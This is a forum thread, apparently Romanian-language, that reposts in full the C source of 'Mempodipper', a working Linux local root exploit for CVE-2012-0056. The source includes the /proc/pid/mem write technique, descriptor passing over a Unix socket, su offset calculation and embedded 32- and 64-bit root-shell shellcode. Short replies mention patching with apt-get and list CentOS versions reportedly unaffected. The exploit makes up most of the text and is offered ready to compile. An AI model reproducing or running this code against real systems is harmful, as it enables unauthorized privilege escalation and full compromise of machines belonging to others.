The_Arhitect Posted January 23, 2012 Report Posted January 23, 2012 Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bitExploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.cBlog post about it is here: http://blog.zx2c4.com/749# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit# Date: Jan 21, 2012# Author: zx2c4# Tested on: Gentoo, Ubuntu# Platform: Linux# Category: Local# CVE-2012-0056/* * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */#define _LARGEFILE64_SOURCE #include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/socket.h>#include <sys/un.h>#include <fcntl.h>#include <unistd.h>#include <limits.h>char *socket_path = "/tmp/.sockpuppet";int send_fd(int fd){ char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; int n; int sock; char cms[CMSG_SPACE(sizeof(int))]; if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0;}int recv_fd(){ int listener; int sock; int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; char cms[CMSG_SPACE(sizeof(int))]; if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); unlink(socket_path); if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; if (listen(listener, 1) < 0) return -1; if ((sock = accept(listener, NULL, NULL)) < 0) return -1; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); close(listener); return fd;}int main(int argc, char **argv){ if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { char parent_mem[256]; sprintf(parent_mem, "/proc/%s/mem", argv[2]); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(fd); return 0; } printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); int parent_pid = getpid(); if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return -1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 6); dup2(fd, 2); unsigned long address; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') address = strtoul(argv[2], NULL, 16); else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); pclose(command); address = strtoul(result, NULL, 16); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); return 1; } printf("[+] Resolved exit@plt to 0x%lx.\n", address); } printf("[+] Calculating su padding.\n"); FILE *command = popen("su this-user-does-not-exist 2>&1", "r"); char result[256]; result[0] = 0; fgets(result, 256, command); pclose(command); unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); unsigned long offset = address - su_padding; printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET);#if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80";#elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";#else#error "That platform is not supported."#endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char pid[32]; sprintf(pid, "%d", parent_pid); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", argv[0], "-c", pid, NULL); }}Sursa: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit 1 Quote
Nytro Posted January 24, 2012 Report Posted January 24, 2012 Vedeti asta: [h=1]Linux Local Privilege Escalation via SUID /proc/pid/mem Write[/h] Quote
Cheater Posted January 24, 2012 Report Posted January 24, 2012 apt-get updateapt-get dist-upgradeSolved, deja au aparut updateuri la kernel pe flux. oricum bun de retinut, sarumana. Quote
BlackNoxis Posted January 29, 2012 Report Posted January 29, 2012 Cred ca au reparat chestiunea cu recompilare cu CFLAG -fPIE (hardened),stack-protector-all, fno-stack-overflow. Din cate stiu Anyway, frumos :> Quote
backdoor Posted February 2, 2012 Report Posted February 2, 2012 CentOS release 5.6 (Final)Linux UNSERVER 2.6.18-238.12.1.el5CentOS release 5.7 (Final)Linux ALTSERVER 2.6.18-274.7.1.el5 CentOS release 6.2 (Final)Linux HALTSERVER 2.6.32-220.4.1.el6.x86_64 E clar , versiunile de centos mai vechi nu au vulnerabilitatea asta (am testat personal pe Centos 5.7) .... Si cu siguranta pana ajunge CentOS 6 la 2.3.39 mai dureaza si or sa apara patchuri care vor repara problema asta si vor cauza altele .... Exact ca Service Pack la Microsoft Cheaterapt-get updateapt-get dist-upgrade CentOS Quote